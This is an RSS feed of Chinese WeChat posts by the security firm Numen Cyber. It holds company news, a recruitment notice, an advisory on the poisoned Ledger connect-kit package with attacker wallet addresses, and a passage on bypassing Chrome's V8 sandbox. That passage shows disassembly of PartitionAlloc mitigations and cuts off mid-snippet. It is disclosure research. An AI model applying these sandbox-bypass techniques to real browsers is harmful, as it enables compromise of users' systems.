src="https://wechat2rss.xlab.app/img-proxy/?k=184d5cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0com47Ajdqk5Z6pve1WziaPcguMLs6a6iclo1ubX1G9OIFDBrcLq64ucwRWLwrRMECcxcaIVfeyJJUg%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486188">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2c3f450b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486188%26idx%3D1%26sn%3D39ee2e2530f59ce3955a1eadca20c4e5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 31 Jan 2024 12:12:00 +0800</pubDate>
    </item>
    <item>
      <title>新加坡 Numen Cyber 与香港光环云数据有限公司达成战略合作伙伴协议</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486184&amp;idx=1&amp;sn=e1117a9bb94f5a0461604efb39bfa305</link>
      <description>新加坡本土网络安全公司 Numen Cyber 宣布与香港光环云数据有限公司（简称“光环云”）建立战略合作伙</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2024-01-08 17:10</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>新加坡本土网络安全公司 Numen Cyber 宣布与香港光环云数据有限公司（简称“光环云”）建立战略合作伙</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=68b90747&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0fCJsRiauVzFofUiacSs7MyQ8dCJSSQtLwXOJnUahAQ8euhAYmVNO3oB8G7aubTA5iaGf8HgdSe6NxMw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002533" data-ratio="0.26944444444444443" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=93950681&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0fCJsRiauVzFofUiacSs7MyQ8aa5JLvKzTiaicgicgooMQaIqg44VWwMWMqyibvzxx0VCHTmyAvFE9PPx1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="">新加坡本土网络安全公司 Numen Cyber 宣布与香港光环云数据有限公司（简称“光环云”）建立战略合作伙伴关系。此次合作将重点放在云服务器和云服务业务场景的安全领域。</span></p><p><span style="">Numen Cyber，作为一家致力于为客户提供专业网络安全服务和一体化安全产品解决方案的公司，拥有一个由世界各地资深安全专家组成的强大技术团队。该团队曾发现多个知名公链（包括EOS、Ripple、TRON、Augur、Aptos、Sui等）、web3项目、以及微软、谷歌、苹果产品的高危漏洞。其客户包括Binance、Avepoint等知名Web2/Web3项目和企业，同时与BNB chain、Cobo、BitForex、华为云、亚洲数字银行、ChainUP、InsurAce等保持战略合作伙伴关系。</span></p><p><span style="">香港光环云数据有限公司，作为光环新网科技股份有限公司（股票代码300383)（亚马逊云科技中国（北京）区域独立运营方）的附属企业，自2018年5月成立以来，已成为中国专业的数据中心及云计算服务提供商。光环云致力于成为中国云服务能力的承载者和赋能者，旨在通过其光环云赋能平台，为用户、渠道与生态合作伙伴提供一站式、端到端、云中立的云服务，以支持中国企业全面实现云转型升级、供给侧改革和双创事业。</span></p><p><span style="">此次合作将加强双方在云服务安全领域的合作，共同推动云服务业务场景的安全性和可靠性。Numen Cyber的专业网络安全服务与光环云的云计算技术的结合，预期将为企业客户提供更高层次的安全保障和服务效能。</span></p><p><span style="">此次合作标志着双方致力于共同提升云计算安全性的决心，为双方客户带来更高效、更安全的云服务体验。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001357" data-ratio="1.9544444444444444" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=184d5cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0com47Ajdqk5Z6pve1WziaPcguMLs6a6iclo1ubX1G9OIFDBrcLq64ucwRWLwrRMECcxcaIVfeyJJUg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style=""></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486184">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ab506fbe&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486184%26idx%3D1%26sn%3De1117a9bb94f5a0461604efb39bfa305%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 08 Jan 2024 17:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Happy New Year</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486179&amp;idx=1&amp;sn=0b55b088523214f7dd9bec162885861e</link>
      <description>🌟 新年到来，我们向每一位关注我们的朋友致以最温暖的祝福。愿2024年带给您无尽的成功和快乐！我们将持续致力于提供卓越的网络安全服务，守护您的数字世界安全。感谢您的支持，让我们共同迎接崭新的一年！🎉</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-12-31 22:00</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>🌟 新年到来，我们向每一位关注我们的朋友致以最温暖的祝福。愿2024年带给您无尽的成功和快乐！我们将持续致力于提供卓越的网络安全服务，守护您的数字世界安全。感谢您的支持，让我们共同迎接崭新的一年！🎉</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=22f6fc3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0fxVKr4bwjpxSqn0DK0uHtlmnGFy1oibqdbXwxB6MUmmuLShj5k46TA4j5btkT5rpFXNfEYbOnXfkw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">Happy New Year</h1>    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0fxVKr4bwjpxSqn0DK0uHtl38RrhhfHHNHYzfSBfUad61WeqrD38D0TVAgxNz99ibI5o00cvCRP1qg/0?wx_fmt=png"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ad7b96d0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486179%26idx%3D1%26sn%3D0b55b088523214f7dd9bec162885861e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 31 Dec 2023 22:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Web3安全：Ledgerhq/connect-kit供应链攻击预警</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486172&amp;idx=1&amp;sn=13cb0c21d9c2ebf635d8bc94f169d4be</link>
      <description>Numen安全团队发现Ledger的ledgerhq/connect-kit模块被植入恶意钓鱼代码，大量的 dapp集成了该功能，受到影响的 dApp 列表没有明确的统计，范围极广。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-12-14 23:54</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>Numen安全团队发现Ledger的ledgerhq/connect-kit模块被植入恶意钓鱼代码，大量的 dapp集成了该功能，受到影响的 dApp 列表没有明确的统计，范围极广。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6cfc3c94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9c3qco34uR9GHZbYawQJg7RZonzDtNxe6f8ibuVfyKJem0yiad8zagx8w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">影响版本</strong><br/></p><p><span style="font-size: 16px;">ledgerhq/connect-kit 1.1.5</span></p><p><span style="font-size: 16px;">ledgerhq/connect-kit 1.1.6</span></p><p><span style="font-size: 16px;">ledgerhq/connect-kit 1.1.7</span></p><p><strong>事件分析</strong></p><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">Numen安全团队发现Ledger的ledgerhq/connect-kit模块被植入恶意钓鱼代码，大量的 dapp集成了该功能，受到影响的 dApp 列表没有明确的统计，范围极广。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.034em;"><a href="https://github.com/LedgerHQ/connect-kit/commit/a4ba6946d8ab1906b040daf259c49dcd1dfdeeba" target="_blank">https://github.com/LedgerHQ/connect-kit/commit/a4ba6946d8ab1906b040daf259c49dcd1dfdeeba</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002506" data-ratio="0.4294187425860024" data-s="300,640" style="" data-type="png" data-w="843" src="https://wechat2rss.xlab.app/img-proxy/?k=486ac82c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9icJONnzbicY57AQ8CUvfVPlwlbwuibTAmP4bfU9pz4uRxYvEZmnlf12YA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.034em;">被投毒的代码 <a href="https://www.npmjs.com/package/@ledgerhq/connect-kit/v/1.1.7?activeTab=code" target="_blank">https://www.npmjs.com/package/@ledgerhq/connect-kit/v/1.1.7?activeTab=code</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002507" data-ratio="0.49622166246851385" data-s="300,640" style="" data-type="png" data-w="794" src="https://wechat2rss.xlab.app/img-proxy/?k=fb0893b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9p5t8fbibANe3yNKCyl8RiaWCSKVLzL4NZXs37iaZ92ib1a2gowxajak2Ug%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002510" data-ratio="0.8687898089171975" data-s="300,640" style="" data-type="png" data-w="785" src="https://wechat2rss.xlab.app/img-proxy/?k=0537bae4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9cicaeSGh2iaw8eACB36unLrQ2zGPXT7XFzrfciaTdyFwzhyOhmsjzibOwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002509" data-ratio="0.5064432989690721" data-s="300,640" style="" data-type="png" data-w="776" src="https://wechat2rss.xlab.app/img-proxy/?k=c78d85ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9h3td1jqOREuFotwM4W3GGrO4YanocEGoGPbr7ric7COyqyLGOicLaChQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 16px;">Revoke.cash Dapp也集成了LedgerHQ connect-kit（一款管理钱包代币授权和签名的安全工具）</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002508" data-ratio="1.1511035653650254" data-s="300,640" style="" data-type="png" data-w="589" src="https://wechat2rss.xlab.app/img-proxy/?k=7e621e9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9br36icTOPWFuZg9RJSfbl2SnaowvmbLjS9QGVXaVqQQia1hvreepKFmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 16px;">截至目前，LedgerHQ Connect Kit 事件相关黑客已获利。</span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 16px;">黑客钱包地址，相关钱包已被标记:</span></p><p style="text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-size: 16px;"><a href="https://etherscan.io/address/0x658729879fca881d9526480b82ae00efc54b5c2d" target="_blank">https://etherscan.io/address/0x658729879fca881d9526480b82ae00efc54b5c2d</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002512" data-ratio="0.5824074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=21579ea3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9NibQoqYXwZQogt4RibaD5ia6OWfoDDzG4YOtARiauVBBo6HLUibpc262VvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span style="font-size: 16px;"><a href="https://etherscan.io/address/0x412f10AAd96fD78da6736387e2C84931Ac20313f" target="_blank">https://etherscan.io/address/0x412f10AAd96fD78da6736387e2C84931Ac20313f</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002513" data-ratio="0.6555555555555556" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f1f92530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9icICWKUlInraWEJOy3giavEibe3oNPNdCgGVjh9rvaTICzk9ibtwWtma9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span style="font-size: 16px;">官方已经推送修复的版本 <a href="https://github.com/LedgerHQ/connect-kit/releases/tag/ck-v1.1.8，在此之前请暂时请勿使用钱包与任意dapp进行连接交互。" target="_blank">https://github.com/LedgerHQ/connect-kit/releases/tag/ck-v1.1.8，在此之前请暂时请勿使用钱包与任意dapp进行连接交互。</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002511" data-ratio="0.8434343434343434" data-s="300,640" style="" data-type="png" data-w="594" src="https://wechat2rss.xlab.app/img-proxy/?k=2f942c7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho96n9nAqoLANjFOfIpjxmzvP1WKtEEmxf0kiafsLOh8bFSfyS3b2iawjqQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span style="font-size: 16px;">攻击者在推送代码时使用了该账户：@JunichiSugiura（Jun，Ledger 前员工）jun.sugiura.jp#gmail.com，可能@JunichiSugiura的账户已经被黑。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002514" data-ratio="0.6659090909090909" data-s="300,640" style="" data-type="png" data-w="880" src="https://wechat2rss.xlab.app/img-proxy/?k=2b9c849d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9STsa7MbRAeZDwvPqSxQFM9MMnSyIFe6kNBG3xCGQHOJtUdNLG57jdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002515" data-ratio="1.0643564356435644" data-s="300,640" style="" data-type="png" data-w="606" src="https://wechat2rss.xlab.app/img-proxy/?k=124925d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0f1Pj3VrSQvHNN8tak8Bho9gNosW9icQGfvG4ONGu73dotFVQh5FmIJCyXjnOZuRXackGCibuMjqvGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong>总结</strong></p><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">此次事件，攻击者获取了Ledger前员工@JunichiSugiura的代码推送账户（不排除是本人所为），然后推送恶意钓鱼代码到ledgerhq/connect-kit库里，进行供应链攻击，在用户与dapp进行交互时，盗取用户的加密资产，ledger的影响力非常大，有依赖该模块的dapp应用的项目方请尽快升级。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p><img class="rich_pages wxw-img" data-imgfileid="100001357" data-ratio="1.9544444444444444" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=184d5cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0com47Ajdqk5Z6pve1WziaPcguMLs6a6iclo1ubX1G9OIFDBrcLq64ucwRWLwrRMECcxcaIVfeyJJUg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 8px 0cm 16px;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"></span></section><p style="outline: 0px;"><br style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"/></p><p><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;"><br/></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486172">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7a0ae677&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486172%26idx%3D1%26sn%3D13cb0c21d9c2ebf635d8bc94f169d4be%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 Dec 2023 23:54:00 +0800</pubDate>
    </item>
    <item>
      <title>招聘：拒绝996 一起4+1，16天超长带薪年假</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486152&amp;idx=1&amp;sn=433a21ba3af9498bafc2bcb96708bb4b</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>Numen cyber labs</span> <span>2023-11-17 20:48</span> <span style="display: inline-block;">新加坡</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3eb5b9ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dB67fBAIY4n5fRd5o2RhNbKTRlrS6ULbGk1rm0OH06kWNxKiaSBSzpt8bkuaicicDvGLzzLTqpRLUsw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="1845" data-backw="578" data-galleryid="" data-ratio="3.1925925925925926" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2138fbf2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dB67fBAIY4n5fRd5o2RhNb1G5ibvs3r8mF4NcUibCdral4M0UiaOXHeGF3NX7ribzH5NibKCtOOfT8YaA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="460" data-backw="578" data-galleryid="" data-imgfileid="100002499" data-ratio="0.7953703703703704" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dffa4435&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dB67fBAIY4n5fRd5o2RhNbc72weQJH2YruCMAqUS19dR7S0l0rMYibicSvgMeH6BeQeZWiaCeQ9NXlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486152">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5008f191&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486152%26idx%3D1%26sn%3D433a21ba3af9498bafc2bcb96708bb4b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Nov 2023 20:48:00 +0800</pubDate>
    </item>
    <item>
      <title>Numen独家：利用wasm再次绕过最新Chrome v8sbx</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486142&amp;idx=1&amp;sn=7cb205bc89a91b0dd118fd63ea702336</link>
      <description>你为谷歌的 CTF 做好准备了吗？今天，我们在 POC2023 分享了 &#34;Modern Chrome Exploitation&#34;主题。现在我们将公开最新的 Chrome 浏览器 V8 沙盒绕过方法。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2023-11-03 14:47</span> <span style="display: inline-block;">韩国</span>
</p>

<p>你为谷歌的 CTF 做好准备了吗？今天，我们在 POC2023 分享了 "Modern Chrome Exploitation"主题。现在我们将公开最新的 Chrome 浏览器 V8 沙盒绕过方法。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9bf2944d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cpaHtjWGvYlxUlr7sUP2I0352y6SkFoeYiblFSwom6JpgKlfjMnvPPRlbGQ8iaW7yKeNOoSI0wxV6w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong>01 - 前 言</strong></p><p>2023年11月2日，POC2023在韩国如期举行。NumenCyber两名研究员有幸受邀参加这次会议，一起分享了“Modern Chrome Exploit Chain Development”的议题。</p><p>由于题目冠名“Modern”，如果没有比较新的东西和参会者分享，确实会略显尴尬。于是，在会议议题选中后，我迅速投入V8沙箱绕过研究。起初，我尝试利用fetch过来的binary data绕过，最后，绕过了PartitionAlloc，实现了完整地址的任意读写，于是我以为绕过了。之后我把PPT做完，迅速和主办方发过去，就安心等会议了。</p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=b48e0077&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0cpaHtjWGvYlxUlr7sUP2I0SzP3Pb0A1x1RsOVPfgTicF9qV1R0Kpa9z1SYHu99X76sxqnFyVTUAqg%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=d4e33492&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486142%26idx%3D1%26sn%3D7cb205bc89a91b0dd118fd63ea702336%26subscene%3D0&amp;v=wxv_3177586956483198981"></video></section><p>2023年10月30日早上1点，我突然觉得不能这么大意。半夜突发奇想，起来验证任意读写。大概在上次天府杯的WASM漏洞利用时，使用了PartitionAlloc的方法实现了任意读写，所以这次起初我并没有太多关心是否真的彻底成功了。因为我验证了下读写。然而，当我尝试读写WASM的时候，却崩溃了。我瞬间清醒了，这说明我并没有彻底完成V8沙箱绕过。</p><p>之后我调试了下，通过反汇编分析了原因：PartitionAlloc已经不再是原来的那个PartitionAlloc了。确切的说，又添加了4个缓解措施：</p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p>我们不能通过修改FreeList来实现控制MetadataPage了。因为Chrome检查了当前地址和下一个地址的差值，如果不符合要求，那就直接中断（int）</p></li><li><p>控制了MetadataPage后，在之前的x86版本，会对FreeList的地址做逻辑运算，如果FreeList不符合要求，直接中断（int3）</p><p><br/></p></li></ol><p>Partition Alloc free list Mitigation</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E62B</span> <span class="code-snippet__string">- bswap rdx</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E62E</span> <span class="code-snippet__string">- mov rsi,rdx</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E631</span> <span class="code-snippet__string">- xor rsi,r12</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E634</span> <span class="code-snippet__string">- cmp rsi,001FFFFF { 2097151 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E63B</span> <span class="code-snippet__string">- ja chrome+2C26B80 { -&gt;558110B6EB80 } INT3</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E641</span> <span class="code-snippet__string">- mov esi,edx</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E643</span> <span class="code-snippet__string">- and esi,001FC000 { 2080768 }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">558110B6E649</span> <span class="code-snippet__string">- je chrome+2C26B80 { -&gt;558110B6EB80 } INT3</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>3. PartitionAlloc对目标地址的写入要求，做了地址范围限制：不能过小。<span style="color: rgb(0, 0, 0);font-family: Arial, sans-serif;white-space-collapse: preserve;letter-spacing: 0.034em;font-size: 17px;">4. 也不能过大：</span></p><p><span style="color: rgb(0, 0, 0);font-family: Arial, sans-serif;white-space-collapse: preserve;letter-spacing: 0.034em;font-size: 17px;">Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">chrome+2D202FF - mov rax,[chrome+<span class="code-snippet__type">DC12B60</span>] { (<span class="code-snippet__number">162400000000</span>=<span class="code-snippet__built_in">min</span>(<span class="code-snippet__type">Partition</span> <span class="code-snippet__type">Addr</span>)) }</span></code><code><span class="code-snippet_outer">chrome+2D20306 - cmp rax,r14 (r14 <span class="code-snippet__keyword">is</span> destination addr)</span></code><code><span class="code-snippet_outer">chrome+2D20309 - ja chrome+2D20B8B <span class="code-snippet__type">INT3</span> (<span class="code-snippet__keyword">if</span> dest &lt; <span class="code-snippet__built_in">min</span>(<span 